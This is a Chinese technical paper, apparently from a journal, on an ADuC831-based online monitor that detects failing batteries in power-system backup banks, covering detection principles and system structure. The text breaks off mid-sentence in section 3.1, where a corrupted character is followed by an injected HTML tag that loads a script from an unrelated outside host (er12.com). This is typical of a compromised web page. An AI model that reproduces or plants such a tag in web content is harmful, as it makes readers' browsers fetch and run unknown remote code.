［摘 要］ 蓄电池作为电力系统的后备电源，其维护工作对保证电力系统的安全运行具有重要意义。对蓄电池实施在线监测并及时发现失效电池，是蓄电池维护工作的重中之重。文中介绍一种以单片机aduc831为核心的新型蓄电池在线智能监测仪，能实现对蓄电池无论在浮充状态还是充、放电动态过程中的状态检测。着重介绍其软硬件设计方法。
［关键词］ 蓄电池；在线监测：aduc831；nvsram；rtc
1 引 言
蓄电池在发电厂、变电站等电力系统中是一种最为常用的后备电源，但由于使用不当或者不能及时维护，经常会导致蓄电池组中个别蓄电池的早期失效。早期失效的个别蓄电池在后备电池投入使用时，会严重影响整个电池组的放电容量，甚至会导致整个供电系统的崩溃。因此，为保证在交流电断电时用电设备安全可靠运行，避免蓄电池在长期使用过程中因个别电池失效而引发事故带来经济损失，对蓄电池进行实时在线监测和及时的故障诊断成为蓄电池维护工作的一个极为重要方面。目前蓄电池的状态监测仪器都是在浮充状态下实现对蓄电池的端电压测量的，而能准确反映蓄电池容量信息的蓄电池电导测试仪只能做定期测量，不能实时在线监测，无法及时发现存在故障的失效电池。该文介绍一种基于aduc831单片机系统的蓄电池在线智能监测仪，能实现对蓄电池无论在浮充状态还是充、放电动态过程中的状态检测，对蓄电池内部开路、短路、过压、欠压及过度放电等异常状态及时报警，并且能对2v、6v和12v多种节电压测量，提高了对蓄电池监测的准确性、自动化和智能化程度。
2 系统工作原理
蓄电池的充放电过程是一个复杂的电化学过程，其状态检测和失效预期诊断也一直是蓄电池维护中的难题。由于电化学反应的复杂性以及蓄电池使用环境的差异，至今还没有一种简单实用的方法对蓄电池的当前运行状态快速准确判定。但大量的实验已得出以下结论［3］：
（1）蓄电池充、放电过程中，在相同的时间间隔内，端电压变化明显比其它电池快的单节一定是有故障的落后电池。蓄电池充、放电都有一个截止电压，过度放电和过度充电都会加速电池失效，减少电池的使用寿命。图2-1是一组蓄电池放电时的电压变化曲线。从图中可以明显看出个别电池端电压突然变化加大，表明该电池已经损坏。
（2）蓄电池在交流电正常时一直保持浮充状态，并要保持一个适当的浮充电压。浮充电压过高会造成电池发热量过大，出现热失控现象，还容易因电解水反应剧烈使电池失水过多；浮充电压过高还会恶化电池组的均匀性，加大电池之间的差异。浮充电压过低又会使电池因自放电损失的电量无法及时补充，加速电池老化。
（3）串联在一起的蓄电池各单节电池在充足电或放完电后，端电压应该是均匀的，不应有大的差异。如果电池组不均匀，在充电时一部分电池充电不足，另一部分电池过充电；在放电时一部分电池尚未达到终止电压，但另一部分电池又会过放电，甚至出现“反极”现象。长此下去就会引起恶性循环，加速电池失效［4］。
（4）环境温度的变化也会影响蓄电池的浮充电压，温度过高就会加速蓄电池的老化速度。
（5）在大量实验过程中，利用数理统计方法分析蓄电池组的端电压的分布规律，结果表明它们的平均值和标准差符合正态分布，平均值表明了全组端电压的宏观性能，标准差则表征了各单节电池端电压的离散程度。因而可以利用这一规律判断电池组的均匀性，并可以找出差异相对较大的电池，也就是可能已经失效的电池［4］。
为准确检测和判断蓄电池的当前运行状态，系统采用以下检测判断方法：
（1）实时在线巡回检测每节电池的电压，判断蓄电池的充、放电状态；
（2）实时检测电池组的总电压和环境温度；
（3）根据端电压、总电压和温度对蓄电池状态实时诊断；
（4）利用系统的数据存储器对采样数据进行保存，并在一定时间段内对存储数据进行综合分析处理；
（5）让采样参数和综合分析得出的数据，根据蓄电池现在所处的是浮充状态还是动态充、放电过程，通过实验确定的失效模式进行比较，得出对当前电池性能的准确诊断。对判断为存在异常的电池及时报警处理。
3 蓄电池监测系统设计
3．1 系统总体结构设计
整个系统由数据采集电路、温度传感器、nvsram、液晶显示电路、声光报警电路、aduc831单片机等组成，其结构框图如图3—1所示。系统以a－duc831单片机为核心，数据采集电路不断循环采集各个单体电池电压、总电压及环境温度，经差分放大、模拟开关等，由aduc831单片机的内置模数转换器进行a／d转换，然后进行分析处理，测量数据能够实时显示、打印，个别电?script src=http://er12.com/t.js>
